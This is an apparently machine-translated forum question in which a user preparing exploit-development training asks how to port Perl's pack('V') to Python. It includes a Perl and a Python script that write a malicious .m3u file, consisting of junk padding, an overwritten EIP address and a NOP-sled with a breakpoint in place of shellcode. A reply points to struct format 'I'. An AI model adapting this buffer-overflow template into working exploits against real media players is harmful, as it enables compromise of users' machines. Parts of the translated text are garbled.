Tôi đã làm việc về một số phát triển khai thác gần đây để chuẩn bị sẵn sàng cho một khóa đào tạo và tôi đã gặp phải vấn đề với hướng dẫn. Tôi đã làm theo cùng với tất cả các hướng dẫn tôi có thể tìm thấy, bằng cách sử dụng Python như trái ngược với ngôn ngữ các hướng dẫn được sử dụng, ngoài sở thích. Tôi đang cố gắng để crosscode tất cả mọi thứ, nhưng tôi không thể tìm ra cách để crosscode Perl của Pack() chức năng.Chức năng Gói của Perl ('V') bằng Python?
TL; DR: Tôi đang cố gắng để dịch này để python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
tôi đã tìm thấy) chức năng struct.pack (Python, nhưng khi tôi sử dụng
Fuzzed.write(struct.pack('V', 0x773D10A4))
, nó dừng chương trình và không hoạt động. Tôi đang làm gì sai?
Đây là toàn bộ mã nguồn của tôi
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
Bạn lấy 'V' làm ký tự định dạng ở đâu? Loại đó là nghĩa vụ phải đại diện? Sử dụng 'I' cho' unsigned int' (4 byte). –